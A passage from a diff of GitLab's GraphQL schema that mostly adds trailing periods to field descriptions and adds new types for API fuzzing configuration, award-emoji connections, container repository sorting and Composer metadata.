ID! """ - Internal ID of the GitLab issue attached to the alert + Internal ID of the GitLab issue attached to the alert. """ issueIid: ID """ - URL for metrics embed for the alert + URL for metrics embed for the alert. """ metricsDashboardUrl: String """ - Monitoring tool the alert came from + Monitoring tool the alert came from. """ monitoringTool: String """ - All notes on this noteable + All notes on this noteable. """ notes( """ @@ -315,42 +315,42 @@ type AlertManagementAlert implements Noteable { ): NoteConnection! """ - The alert condition for Prometheus + The alert condition for Prometheus. """ prometheusAlert: PrometheusAlert """ - Runbook for the alert as defined in alert details + Runbook for the alert as defined in alert details. """ runbook: String """ - Service the alert came from + Service the alert came from. """ service: String """ - Severity of the alert + Severity of the alert. """ severity: AlertManagementSeverity """ - Timestamp the alert was raised + Timestamp the alert was raised. """ startedAt: Time """ - Status of the alert + Status of the alert. """ status: AlertManagementStatus """ - Title of the alert + Title of the alert. """ title: String """ - Todos of the current user for the alert + To-do items of the current user for the alert. """ todos( """ @@ -405,7 +405,7 @@ type AlertManagementAlert implements Noteable { ): TodoConnection """ - Timestamp the alert was last updated + Timestamp the alert was last updated. """ updatedAt: Time } @@ -570,7 +570,7 @@ type AlertManagementAlertStatusCountsType { acknowledged: Int """ - Total number of alerts for the project + Total number of alerts for the project. """ all: Int @@ -580,7 +580,7 @@ type AlertManagementAlertStatusCountsType { ignored: Int """ - Number of alerts with status TRIGGERED or ACKNOWLEDGED for the project + Number of alerts with status TRIGGERED or ACKNOWLEDGED for the project. """ open: Int @@ -615,79 +615,79 @@ An endpoint and credentials used to accept alerts for a project """ type AlertManagementHttpIntegration implements AlertManagementIntegration { """ - Whether the endpoint is currently accepting alerts + Whether the endpoint is currently accepting alerts. """ active: Boolean """ - URL at which Prometheus metrics can be queried to populate the metrics dashboard + URL at which Prometheus metrics can be queried to populate the metrics dashboard. """ apiUrl: String """ - ID of the integration + ID of the integration. """ id: ID! """ - Name of the integration + Name of the integration. """ name: String """ - Token used to authenticate alert notification requests + Token used to authenticate alert notification requests. """ token: String """ - Type of integration + Type of integration. """ type: AlertManagementIntegrationType! """ - Endpoint which accepts alert notifications + Endpoint which accepts alert notifications. """ url: String } """ -Identifier of AlertManagement::HttpIntegration +Identifier of AlertManagement::HttpIntegration. """ scalar AlertManagementHttpIntegrationID interface AlertManagementIntegration { """ - Whether the endpoint is currently accepting alerts + Whether the endpoint is currently accepting alerts. """ active: Boolean """ - URL at which Prometheus metrics can be queried to populate the metrics dashboard + URL at which Prometheus metrics can be queried to populate the metrics dashboard. """ apiUrl: String """ - ID of the integration + ID of the integration. """ id: ID! """ - Name of the integration + Name of the integration. """ name: String """ - Token used to authenticate alert notification requests + Token used to authenticate alert notification requests. """ token: String """ - Type of integration + Type of integration. """ type: AlertManagementIntegrationType! """ - Endpoint which accepts alert notifications + Endpoint which accepts alert notifications. """ url: String } @@ -743,6 +743,26 @@ enum AlertManagementIntegrationType { } """ +Parsed field from an alert used for custom mappings +""" +type AlertManagementPayloadAlertField { + """ + Human-readable label of the payload path. + """ + label: String + + """ + Path to value inside payload JSON. + """ + path: [String!] + + """ + Type of the parsed value. + """ + type: AlertManagementPayloadAlertFieldType +} + +""" Field that are available while modifying the custom mapping attributes for an HTTP integration """ input AlertManagementPayloadAlertFieldInput { @@ -847,37 +867,37 @@ An endpoint and credentials used to accept Prometheus alerts for a project """ type AlertManagementPrometheusIntegration implements AlertManagementIntegration { """ - Whether the endpoint is currently accepting alerts + Whether the endpoint is currently accepting alerts. """ active: Boolean """ - URL at which Prometheus metrics can be queried to populate the metrics dashboard + URL at which Prometheus metrics can be queried to populate the metrics dashboard. """ apiUrl: String """ - ID of the integration + ID of the integration. """ id: ID! """ - Name of the integration + Name of the integration. """ name: String """ - Token used to authenticate alert notification requests + Token used to authenticate alert notification requests. """ token: String """ - Type of integration + Type of integration. """ type: AlertManagementIntegrationType! """ - Endpoint which accepts alert notifications + Endpoint which accepts alert notifications. """ url: String } @@ -997,7 +1017,7 @@ type AlertSetAssigneesPayload { issue: Issue """ - The todo after mutation. + The to-do item after mutation. """ todo: Todo } @@ -1047,17 +1067,138 @@ type AlertTodoCreatePayload { issue: Issue """ - The todo after mutation. + The to-do item after mutation. """ todo: Todo } """ -Identifier of Analytics::DevopsAdoption::Segment +Identifier of Analytics::DevopsAdoption::Segment. """ scalar AnalyticsDevopsAdoptionSegmentID """ +Data associated with configuring API fuzzing scans in GitLab CI +""" +type ApiFuzzingCiConfiguration { + """ + All available scan modes. + """ + scanModes: [ApiFuzzingScanMode!] + + """ + All default scan profiles. + """ + scanProfiles: [ApiFuzzingScanProfile!] +} + +""" +Autogenerated input type of ApiFuzzingCiConfigurationCreate +""" +input ApiFuzzingCiConfigurationCreateInput { + """ + File path or URL to the file that defines the API surface for scanning. Must + be in the format specified by the `scanMode` argument. + """ + apiSpecificationFile: String! + + """ + CI variable containing the password for authenticating with the target API. + """ + authPassword: String + + """ + CI variable containing the username for authenticating with the target API. + """ + authUsername: String + + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Full path of the project. + """ + projectPath: ID! + + """ + The mode for API fuzzing scans. + """ + scanMode: ApiFuzzingScanMode! + + """ + Name of a default profile to use for scanning. Ex: Quick-10. + """ + scanProfile: String + + """ + URL for the target of API fuzzing scans. + """ + target: String! +} + +""" +Autogenerated return type of ApiFuzzingCiConfigurationCreate +""" +type ApiFuzzingCiConfigurationCreatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + A YAML snippet that can be inserted into the project's `.gitlab-ci.yml` to set up API fuzzing scans. + """ + configurationYaml: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The location at which the project's `.gitlab-ci.yml` file can be edited in the browser. + """ + gitlabCiYamlEditPath: String +} + +""" +All possible ways to specify the API surface for an API fuzzing scan +""" +enum ApiFuzzingScanMode { + """ + The API surface is specified by a HAR file. + """ + HAR + + """ + The API surface is specified by a OPENAPI file. + """ + OPENAPI +} + +""" +An API Fuzzing scan profile. +""" +type ApiFuzzingScanProfile { + """ + A short description of the profile. + """ + description: String + + """ + The unique name of the profile. + """ + name: String + + """ + A syntax highlit HTML representation of the YAML. + """ + yaml: String +} + +""" User availability status """ enum AvailabilityEnum { @@ -1077,32 +1218,32 @@ An emoji awarded by a user """ type AwardEmoji { """ - The emoji description + The emoji description. """ description: String! """ - The emoji as an icon + The emoji as an icon. """ emoji: String! """ - The emoji name + The emoji name. """ name: String! """ - The emoji in unicode + The emoji in Unicode. """ unicode: String! """ - The unicode version for this emoji + The Unicode version for this emoji. """ unicodeVersion: String! """ - The user who awarded the emoji + The user who awarded the emoji. """ user: User! } @@ -1122,7 +1263,7 @@ input AwardEmojiAddInput { clientMutationId: String """ - The emoji name + The emoji name. """ name: String! } @@ -1148,6 +1289,41 @@ type AwardEmojiAddPayload { } """ +The connection type for AwardEmoji. +""" +type AwardEmojiConnection { + """ + A list of edges. + """ + edges: [AwardEmojiEdge] + + """ + A list of nodes. + """ + nodes: [AwardEmoji] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +An edge in a connection. +""" +type AwardEmojiEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: AwardEmoji +} + +""" Autogenerated input type of AwardEmojiRemove """ input AwardEmojiRemoveInput { @@ -1162,7 +1338,7 @@ input AwardEmojiRemoveInput { clientMutationId: String """ - The emoji name + The emoji name. """ name: String! } @@ -1202,7 +1378,7 @@ input AwardEmojiToggleInput { clientMutationId: String """ - The emoji name + The emoji name. """ name: String! } @@ -1233,18 +1409,18 @@ type AwardEmojiTogglePayload { } """ -Identifier of Awardable +Identifier of Awardable. """ scalar AwardableID type BaseService implements Service { """ - Indicates if the service is active + Indicates if the service is active. """ active: Boolean """ - Class name of the service + Class name of the service. """ type: String } @@ -1257,52 +1433,52 @@ scalar BigInt type Blob implements Entry { """ - Flat path of the entry + Flat path of the entry. """ flatPath: String! """ - ID of the entry + ID of the entry. """ id: ID! """ - LFS ID of the blob + LFS ID of the blob. """ lfsOid: String """ - Blob mode in numeric format + Blob mode in numeric format. """ mode: String """ - Name of the entry + Name of the entry. """ name: String! """ - Path of the entry + Path of the entry. """ path: String! """ - Last commit sha for the entry + Last commit SHA for the entry. """ sha: String! """ - Type of tree entry + Type of tree entry. """ type: EntryType! """ - Web path of the blob + Web path of the blob. """ webPath: String """ - Web URL of the blob + Web URL of the blob. """ webUrl: String } @@ -1356,12 +1532,12 @@ Represents a project or group board """ type Board { """ - The board assignee + The board assignee. """ assignee: User """ - Epics associated with board issues + Epics associated with board issues. """ epics( """ @@ -1391,17 +1567,17 @@ type Board { ): BoardEpicConnection """ - Whether or not backlog list is hidden + Whether or not backlog list is hidden. """ hideBacklogList: Boolean """ - Whether or not closed list is hidden + Whether or not closed list is hidden. """ hideClosedList: Boolean """ - ID (global ID) of the board + ID (global ID) of the board. """ id: ID! @@ -1411,7 +1587,7 @@ type Board { iteration: Iteration """ - Labels of the board + Labels of the board. """ labels( """ @@ -1436,7 +1612,7 @@ type Board { ): LabelConnection """ - Lists of the board + Lists of the board. """ lists( """ @@ -1471,12 +1647,12 @@ type Board { ): BoardListConnection """ - The board milestone + The board milestone. """ milestone: Milestone """ - Name of the board + Name of the board. """ name: String @@ -1491,7 +1667,7 @@ type Board { webUrl: String! """ - Weight of the board + Weight of the board. """ weight: Int } @@ -1534,14 +1710,39 @@ type BoardEdge { """ Represents an epic on an issue board """ -type BoardEpic implements CurrentUserTodos & Noteable { +type BoardEpic implements CurrentUserTodos & Eventable & Noteable { """ - Author of the epic + Author of the epic. """ author: User! """ - Children (sub-epics) of the epic + A list of award emojis associated with the epic. + """ + awardEmoji( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): AwardEmojiConnection + + """ + Children (sub-epics) of the epic. """ children( """ @@ -1639,22 +1840,22 @@ type BoardEpic implements CurrentUserTodos & Noteable { ): EpicConnection """ - Timestamp of when the epic was closed + Timestamp of when the epic was closed. """ closedAt: Time """ - Indicates if the epic is confidential + Indicates if the epic is confidential. """ confidential: Boolean """ - Timestamp of when the epic was created + Timestamp of when the epic was created. """ createdAt: Time """ - Todos for the current user + To-do items for the current user. """ currentUserTodos( """ @@ -1678,28 +1879,28 @@ type BoardEpic implements CurrentUserTodos & Noteable { last: Int """ - State of the todos + State of the to-do items. """ state: TodoStateEnum ): TodoConnection! """ - Number of open and closed descendant epics and issues + Number of open and closed descendant epics and issues. """ descendantCounts: EpicDescendantCount """ - Total weight of open and closed issues in the epic and its descendants + Total weight of open and closed issues in the epic and its descendants. """ descendantWeightSum: EpicDescendantWeights """ - Description of the epic + Description of the epic. """ description: String """ - All discussions on this noteable + All discussions on this noteable. """ discussions( """ @@ -1724,67 +1925,92 @@ type BoardEpic implements CurrentUserTodos & Noteable { ): DiscussionConnection! """ - Number of downvotes the epic has received + Number of downvotes the epic has received. """ downvotes: Int! """ - Due date of the epic + Due date of the epic. """ dueDate: Time """ - Fixed due date of the epic + Fixed due date of the epic. """ dueDateFixed: Time """ - Inherited due date of the epic from milestones + Inherited due date of the epic from milestones. """ dueDateFromMilestones: Time """ - Indicates if the due date has been manually set + Indicates if the due date has been manually set. """ dueDateIsFixed: Boolean """ - Group to which the epic belongs + A list of events associated with the object. + """ + events( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): EventConnection + + """ + Group to which the epic belongs. """ group: Group! """ - Indicates if the epic has children + Indicates if the epic has children. """ hasChildren: Boolean! """ - Indicates if the epic has direct issues + Indicates if the epic has direct issues. """ hasIssues: Boolean! """ - Indicates if the epic has a parent epic + Indicates if the epic has a parent epic. """ hasParent: Boolean! """ - Current health status of the epic + Current health status of the epic. """ healthStatus: EpicHealthStatus """ - ID of the epic + ID of the epic. """ id: ID! """ - Internal ID of the epic + Internal ID of the epic. """ iid: ID! """ - A list of issues associated with the epic + A list of issues associated with the epic. """ issues( """ @@ -1809,7 +2035,7 @@ type BoardEpic implements CurrentUserTodos & Noteable { ): EpicIssueConnection """ - Labels assigned to the epic + Labels assigned to the epic. """ labels( """ @@ -1834,7 +2060,7 @@ type BoardEpic implements CurrentUserTodos & Noteable { ): LabelConnection """ - All notes on this noteable + All notes on this noteable. """ notes( """ @@ -1859,12 +2085,12 @@ type BoardEpic implements CurrentUserTodos & Noteable { ): NoteConnection! """ - Parent epic of the epic + Parent epic of the epic. """ parent: Epic """ - List of participants for the epic + List of participants for the epic. """ participants( """ @@ -1889,77 +2115,77 @@ type BoardEpic implements CurrentUserTodos & Noteable { ): UserConnection """ - Internal reference of the epic. Returned in shortened format by default + Internal reference of the epic. Returned in shortened format by default. """ reference( """ - Indicates if the reference should be returned in full + Indicates if the reference should be returned in full. """ full: Boolean = false ): String! """ - URI path of the epic-issue relationship + URI path of the epic-issue relationship. """ relationPath: String """ - The relative position of the epic in the epic tree + The relative position of the epic in the epic tree. """ relativePosition: Int """ - Start date of the epic + Start date of the epic. """ startDate: Time """ - Fixed start date of the epic + Fixed start date of the epic. """ startDateFixed: Time """ - Inherited start date of the epic from milestones + Inherited start date of the epic from milestones. """ startDateFromMilestones: Time """ - Indicates if the start date has been manually set + Indicates if the start date has been manually set. """ startDateIsFixed: Boolean """ - State of the epic + State of the epic. """ state: EpicState! """ - Indicates the currently logged in user is subscribed to the epic + Indicates the currently logged in user is subscribed to the epic. """ subscribed: Boolean! """ - Title of the epic + Title of the epic. """ title: String """ - Timestamp of when the epic was updated + Timestamp of when the epic was updated. """ updatedAt: Time """ - Number of upvotes the epic has received + Number of upvotes the epic has received. """ upvotes: Int! """ - Number of user discussions in the epic + Number of user discussions in the epic. """ userDiscussionsCount: Int! """ - Number of user notes of the epic + Number of user notes of the epic. """ userNotesCount: Int! @@ -1969,17 +2195,17 @@ type BoardEpic implements CurrentUserTodos & Noteable { userPermissions: EpicPermissions! """ - User preferences for the epic on the issue board + User preferences for the epic on the issue board. """ userPreferences: BoardEpicUserPreferences """ - Web path of the epic + Web path of the epic. """ webPath: String! """ - Web URL of the epic + Web URL of the epic. """ webUrl: String! } @@ -2024,79 +2250,79 @@ Represents user preferences for a board epic """ type BoardEpicUserPreferences { """ - Indicates epic should be displayed as collapsed + Indicates epic should be displayed as collapsed. """ collapsed: Boolean! } """ -Identifier of Board +Identifier of Board. """ scalar BoardID input BoardIssueInput { """ - Filter by assignee username + Filter by assignee username. """ assigneeUsername: [String] """ - Filter by author username + Filter by author username. """ authorUsername: String """ - Filter by epic ID. Incompatible with epicWildcardId + Filter by epic ID. Incompatible with epicWildcardId. """ epicId: EpicID """ - Filter by epic ID wildcard. Incompatible with epicId + Filter by epic ID wildcard. Incompatible with epicId. """ epicWildcardId: EpicWildcardId """ - Filter by iteration title + Filter by iteration title. """ iterationTitle: String """ - Filter by iteration ID wildcard + Filter by iteration ID wildcard. """ iterationWildcardId: IterationWildcardId """ - Filter by label name + Filter by label name. """ labelName: [String] """ - Filter by milestone title + Filter by milestone title. """ milestoneTitle: String """ - Filter by reaction emoji + Filter by reaction emoji. """ myReactionEmoji: String """ - List of negated params. Warning: this argument is experimental and a subject to change in future + List of negated params. Warning: this argument is experimental and a subject to change in future. """ not: NegatedBoardIssueInput """ - Filter by release tag + Filter by release tag. """ releaseTag: String """ - Search query for issue title or description + Search query for issue title or description. """ search: String """ - Filter by weight + Filter by weight. """ weight: String } @@ -2106,22 +2332,22 @@ Represents a list for an issue board """ type BoardList { """ - Assignee in the list + Assignee in the list. """ assignee: User """ - Indicates if list is collapsed for this user + Indicates if list is collapsed for this user. """ collapsed: Boolean """ - ID (global ID) of the list + ID (global ID) of the list. """ id: ID! """ - Board issues + Board issues. """ issues( """ @@ -2151,57 +2377,57 @@ type BoardList { ): IssueConnection """ - Count of issues in the list + Count of issues in the list. """ issuesCount: Int """ - Iteration of the list + Iteration of the list. """ iteration: Iteration """ - Label of the list + Label of the list. """ label: Label """ - The current limit metric for the list + The current limit metric for the list. """ limitMetric: ListLimitMetric """ - Type of the list + Type of the list. """ listType: String! """ - Maximum number of issues in the list + Maximum number of issues in the list. """ maxIssueCount: Int """ - Maximum weight of issues in the list + Maximum weight of issues in the list. """ maxIssueWeight: Int """ - Milestone of the list + Milestone of the list. """ milestone: Milestone """ - Position of list within the board + Position of list within the board. """ position: Int """ - Title of the list + Title of the list. """ title: String! """ - Total weight of all issues in the list + Total weight of all issues in the list. """ totalWeight: Int } @@ -2281,7 +2507,7 @@ type BoardListCreatePayload { errors: [String!]! """ - List of the issue board. + Issue list in the issue board. """ list: BoardList } @@ -2352,23 +2578,23 @@ type BoardListUpdateLimitMetricsPayload { } """ -Identifier of Boards::EpicBoard +Identifier of Boards::EpicBoard. """ scalar BoardsEpicBoardID """ -Identifier of Boards::EpicList +Identifier of Boards::EpicList. """ scalar BoardsEpicListID type Branch { """ - Commit for the branch + Commit for the branch. """ commit: Commit """ - Name of the branch + Name of the branch. """ name: String! } @@ -2378,31 +2604,38 @@ Represents the total number of issues and their weights for a particular day """ type BurnupChartDailyTotals { """ - Number of closed issues as of this day + Number of closed issues as of this day. """ completedCount: Int! """ - Total weight of closed issues as of this day + Total weight of closed issues as of this day. """ completedWeight: Int! """ - Date for burnup totals + Date for burnup totals. """ date: ISO8601Date! """ - Number of issues as of this day + Number of issues as of this day. """ scopeCount: Int! """ - Total weight of issues as of this day + Total weight of issues as of this day. """ scopeWeight: Int! } +type CiApplicationSettings { + """ + Whether to keep the latest jobs artifacts. + """ + keepLatestArtifact: Boolean +} + type CiBuildNeed { """ Name of the job we need to complete. @@ -2482,17 +2715,17 @@ type CiCdSettingsUpdatePayload { type CiConfig { """ - Linting errors + Linting errors. """ errors: [String!] """ - Merged CI config YAML + Merged CI configuration YAML. """ mergedYaml: String """ - Stages of the pipeline + Stages of the pipeline. """ stages( """ @@ -2517,14 +2750,14 @@ type CiConfig { ): CiConfigStageConnection """ - Status of linting, can be either valid or invalid + Status of linting, can be either valid or invalid. """ status: CiConfigStatus } type CiConfigGroup { """ - Jobs in group + Jobs in group. """ jobs( """ @@ -2549,12 +2782,12 @@ type CiConfigGroup { ): CiConfigJobConnection """ - Name of the job group + Name of the job group. """ name: String """ - Size of the job group + Size of the job group. """ size: Int } @@ -2725,7 +2958,7 @@ type CiConfigJobRestriction { type CiConfigNeed { """ - Name of the need + Name of the need. """ name: String } @@ -2767,7 +3000,7 @@ type CiConfigNeedEdge { type CiConfigStage { """ - Groups of jobs for the stage + Groups of jobs for the stage. """ groups( """ @@ -2792,7 +3025,7 @@ type CiConfigStage { ): CiConfigGroupConnection """ - Name of the stage + Name of the stage. """ name: String } @@ -2849,12 +3082,12 @@ enum CiConfigStatus { type CiGroup { """ - Detailed status of the group + Detailed status of the group. """ detailedStatus: DetailedStatus """ - Jobs in group + Jobs in group. """ jobs( """ @@ -2879,12 +3112,12 @@ type CiGroup { ): CiJobConnection """ - Name of the job group + Name of the job group. """ name: String """ - Size of the group + Size of the group. """ size: Int } @@ -2926,7 +3159,7 @@ type CiGroupEdge { type CiJob { """ - Artifacts generated by the job + Artifacts generated by the job. """ artifacts( """ @@ -2951,17 +3184,17 @@ type CiJob { ): CiJobArtifactConnection """ - Detailed status of the job + Detailed status of the job. """ detailedStatus: DetailedStatus """ - Name of the job + Name of the job. """ name: String """ - References to builds that must complete before the jobs run + References to builds that must complete before the jobs run. """ needs( """ @@ -2986,24 +3219,24 @@ type CiJob { ): CiBuildNeedConnection """ - Pipeline the job belongs to + Pipeline the job belongs to. """ pipeline: Pipeline """ - Schedule for the build + Schedule for the build. """ scheduledAt: Time } type CiJobArtifact { """ - URL for downloading the artifact's file + URL for downloading the artifact's file. """ downloadPath: String """ - File type of the artifact + File type of the artifact. """ fileType: JobArtifactFileType } @@ -3079,18 +3312,18 @@ type CiJobEdge { } """ -Identifier of Ci::Pipeline +Identifier of Ci::Pipeline. """ scalar CiPipelineID type CiStage { """ - Detailed status of the stage + Detailed status of the stage. """ detailedStatus: DetailedStatus """ - Group of jobs for the stage + Group of jobs for the stage. """ groups( """ @@ -3115,7 +3348,7 @@ type CiStage { ): CiGroupConnection """ - Name of the stage + Name of the stage. """ name: String } @@ -3157,27 +3390,32 @@ type CiStageEdge { type ClusterAgent { """ - Timestamp the cluster agent was created + Timestamp the cluster agent was created. """ createdAt: Time """ - ID of the cluster agent + User object, containing information about the person who created the agent. + """ + createdByUser: User + + """ + ID of the cluster agent. """ id: ID! """ - Name of the cluster agent + Name of the cluster agent. """ name: String """ - The project this cluster agent is associated with + The project this cluster agent is associated with. """ project: Project """ - Tokens associated with the cluster agent + Tokens associated with the cluster agent. """ tokens( """ @@ -3202,7 +3440,7 @@ type ClusterAgent { ): ClusterAgentTokenConnection """ - Timestamp the cluster agent was updated + Timestamp the cluster agent was updated. """ updatedAt: Time } @@ -3212,7 +3450,7 @@ The connection type for ClusterAgent. """ type ClusterAgentConnection { """ - Total count of collection + Total count of collection. """ count: Int! @@ -3279,17 +3517,22 @@ type ClusterAgentEdge { type ClusterAgentToken { """ - Cluster agent this token is associated with + Cluster agent this token is associated with. """ clusterAgent: ClusterAgent """ - Timestamp the token was created + Timestamp the token was created. """ createdAt: Time """ - Global ID of the token + The user who created the token. + """ + createdByUser: User + + """ + Global ID of the token. """ id: ClustersAgentTokenID! } @@ -3299,7 +3542,7 @@ The connection type for ClusterAgentToken. """ type ClusterAgentTokenConnection { """ - Total count of collection + Total count of collection. """ count: Int! @@ -3405,17 +3648,17 @@ type ClusterAgentTokenEdge { } """ -Identifier of Clusters::Agent +Identifier of Clusters::Agent. """ scalar ClustersAgentID """ -Identifier of Clusters::AgentToken +Identifier of Clusters::AgentToken. """ scalar ClustersAgentTokenID """ -Identifier of Clusters::Cluster +Identifier of Clusters::Cluster. """ scalar ClustersClusterID @@ -3501,27 +3744,27 @@ type CodeCoverageSummary { type Commit { """ - Author of the commit + Author of the commit. """ author: User """ - Commit authors gravatar + Commit authors gravatar. """ authorGravatar: String """ - Commit authors name + Commit authors name. """ authorName: String """ - Timestamp of when the commit was authored + Timestamp of when the commit was authored. """ authoredDate: Time """ - Description of the commit message + Description of the commit message. """ description: String @@ -3531,17 +3774,17 @@ type Commit { descriptionHtml: String """ - ID (global ID) of the commit + ID (global ID) of the commit. """ id: ID! """ - Raw commit message + Raw commit message. """ message: String """ - Pipelines of the commit ordered latest first + Pipelines of the commit ordered latest first. """ pipelines( """ @@ -3581,22 +3824,22 @@ type Commit { ): PipelineConnection """ - SHA1 ID of the commit + SHA1 ID of the commit. """ sha: String! """ - Short SHA1 ID of the commit + Short SHA1 ID of the commit. """ shortId: String! """ - Rendered HTML of the commit signature + Rendered HTML of the commit signature. """ signatureHtml: String """ - Title of the commit message + Title of the commit message. """ title: String @@ -3606,49 +3849,49 @@ type Commit { titleHtml: String """ - Web path of the commit + Web path of the commit. """ webPath: String! """ - Web URL of the commit + Web URL of the commit. """ webUrl: String! } input CommitAction { """ - The action to perform, create, delete, move, update, chmod + The action to perform, create, delete, move, update, chmod. """ action: CommitActionMode! """ - Content of the file + Content of the file. """ content: String """ - Encoding of the file. Default is text + Encoding of the file. Default is text. """ encoding: CommitEncoding """ - Enables/disables the execute flag on the file + Enables/disables the execute flag on the file. """ executeFilemode: Boolean """ - Full path to the file + Full path to the file. """ filePath: String! """ - Last known file commit ID + Last known file commit ID. """ lastCommitId: String """ - Original full path to the file being moved + Original full path to the file being moved. """ previousPath: String } @@ -3723,7 +3966,7 @@ input CommitCreateInput { clientMutationId: String """ - Raw commit message + Raw commit message. """ message: String! @@ -3790,24 +4033,30 @@ Represents a ComplianceFramework associated with a Project """ type ComplianceFramework { """ - Hexadecimal representation of compliance framework's label color + Hexadecimal representation of compliance framework's label color. """ color: String! """ - Description of the compliance framework + Description of the compliance framework. """ description: String! """ - Compliance framework ID + Compliance framework ID. """ id: ID! """ - Name of the compliance framework + Name of the compliance framework. """ name: String! + + """ + Full path of the compliance pipeline configuration stored in a project + repository, such as `.gitlab/.compliance-gitlab-ci.yml@compliance/hippa`. + """ + pipelineConfigurationFullPath: String } """ @@ -3860,14 +4109,35 @@ input ComplianceFrameworkInput { New name for the compliance framework. """ name: String + + """ + Full path of the compliance pipeline configuration stored in a project + repository, such as `.gitlab/.compliance-gitlab-ci.yml@compliance/hippa`. + """ + pipelineConfigurationFullPath: String } """ -Identifier of ComplianceManagement::Framework +Identifier of ComplianceManagement::Framework. """ scalar ComplianceManagementFrameworkID """ +Composer metadata +""" +type ComposerMetadata { + """ + Data of the Composer JSON file. + """ + composerJson: PackageComposerJsonType! + + """ + Target SHA of the package. + """ + targetSha: String! +} + +""" Autogenerated input type of ConfigureSast """ input ConfigureSastInput { @@ -3917,47 +4187,47 @@ A tag expiration policy designed to keep only the images that matter most """ type ContainerExpirationPolicy { """ - This container expiration policy schedule + This container expiration policy schedule. """ cadence: ContainerExpirationPolicyCadenceEnum! """ - Timestamp of when the container expiration policy was created + Timestamp of when the container expiration policy was created. """ createdAt: Time! """ - Indicates whether this container expiration policy is enabled + Indicates whether this container expiration policy is enabled. """ enabled: Boolean! """ - Number of tags to retain + Number of tags to retain. """ keepN: ContainerExpirationPolicyKeepEnum """ - Tags with names matching this regex pattern will expire + Tags with names matching this regex pattern will expire. """ nameRegex: UntrustedRegexp """ - Tags with names matching this regex pattern will be preserved + Tags with names matching this regex pattern will be preserved. """ nameRegexKeep: UntrustedRegexp """ - Next time that this container expiration policy will get executed + Next time that this container expiration policy will get executed. """ nextRunAt: Time """ - Tags older that this will expire + Tags older that this will expire. """ olderThan: ContainerExpirationPolicyOlderThanEnum """ - Timestamp of when the container expiration policy was updated + Timestamp of when the container expiration policy was updated. """ updatedAt: Time! } @@ -4088,7 +4358,7 @@ type ContainerRepository { path: String! """ - Project of the container registry + Project of the container registry. """ project: Project! @@ -4198,7 +4468,7 @@ type ContainerRepositoryDetails { path: String! """ - Project of the container registry + Project of the container registry. """ project: Project! @@ -4208,7 +4478,7 @@ type ContainerRepositoryDetails { status: ContainerRepositoryStatus """ - Tags of the container repository + Tags of the container repository. """ tags( """ @@ -4259,11 +4529,66 @@ type ContainerRepositoryEdge { } """ -Identifier of ContainerRepository +Identifier of ContainerRepository. """ scalar ContainerRepositoryID """ +Values for sorting container repositories +""" +enum ContainerRepositorySort { + """ + Created at ascending order + """ + CREATED_ASC + + """ + Created at descending order + """ + CREATED_DESC + + """ + Name by ascending order + """ + NAME_ASC + + """ + Name by descending order + """ + NAME_DESC + + """ + Updated at ascending order + """ + UPDATED_ASC + + """ + Updated at descending order + """ + UPDATED_DESC + + """ + Created at ascending order + """ + created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5.") + + """ + Created at descending order + """ + created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5.") + + """ + Updated at ascending order + """ + updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5.") + + """ + Updated at descending order + """ + updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5.") +} + +""" Status of a container repository """ enum ContainerRepositoryStatus { @@ -4408,7 +4733,7 @@ type CreateAlertIssuePayload { issue: Issue """ - The todo after mutation. + The to-do item after mutation. """ todo: Todo } @@ -4488,17 +4813,17 @@ input CreateBoardInput { clientMutationId: String """ - The group full path the resource is associated with. + Full path of the group with which the resource is associated. """ groupPath: ID """ - Whether or not backlog list is hidden + Whether or not backlog list is hidden. """ hideBacklogList: Boolean """ - Whether or not closed list is hidden + Whether or not closed list is hidden. """ hideClosedList: Boolean @@ -4513,7 +4838,7 @@ input CreateBoardInput { labelIds: [LabelID!] """ - Labels of the issue + Labels of the issue. """ labels: [String!] @@ -4528,7 +4853,7 @@ input CreateBoardInput { name: String """ - The project full path the resource is associated with. + Full path of the project with which the resource is associated. """ projectPath: ID @@ -4738,14 +5063,9 @@ input CreateDevopsAdoptionSegmentInput { clientMutationId: String """ - The array of group IDs to set for the segment. + Namespace ID to set for the segment. """ - groupIds: [GroupID!] - - """ - Name of the segment. - """ - name: String! + namespaceId: NamespaceID! } """ @@ -4773,7 +5093,7 @@ Autogenerated input type of CreateDiffNote """ input CreateDiffNoteInput { """ - Content of the note + Content of the note. """ body: String! @@ -4793,7 +5113,7 @@ input CreateDiffNoteInput { noteableId: NoteableID! """ - The position of this note on a diff + The position of this note on a diff. """ position: DiffPositionInput! } @@ -4903,7 +5223,7 @@ Autogenerated input type of CreateImageDiffNote """ input CreateImageDiffNoteInput { """ - Content of the note + Content of the note. """ body: String! @@ -4923,7 +5243,7 @@ input CreateImageDiffNoteInput { noteableId: NoteableID! """ - The position of this note on a diff + The position of this note on a diff. """ position: DiffImagePositionInput! } @@ -4963,7 +5283,7 @@ input CreateIssueInput { clientMutationId: String """ - Indicates the issue is confidential + Indicates the issue is confidential. """ confidential: Boolean @@ -4973,7 +5293,7 @@ input CreateIssueInput { createdAt: Time """ - Description of the issue + Description of the issue. """ description: String @@ -4983,7 +5303,7 @@ input CreateIssueInput { discussionToResolve: String """ - Due date of the issue + Due date of the issue. """ dueDate: ISO8601Date @@ -5008,12 +5328,12 @@ input CreateIssueInput { labelIds: [LabelID!] """ - Labels of the issue + Labels of the issue. """ labels: [String!] """ - Indicates discussion is locked on the issue + Indicates discussion is locked on the issue. """ locked: Boolean @@ -5033,7 +5353,7 @@ input CreateIssueInput { projectPath: ID! """ - Title of the issue + Title of the issue. """ title: String! @@ -5083,12 +5403,12 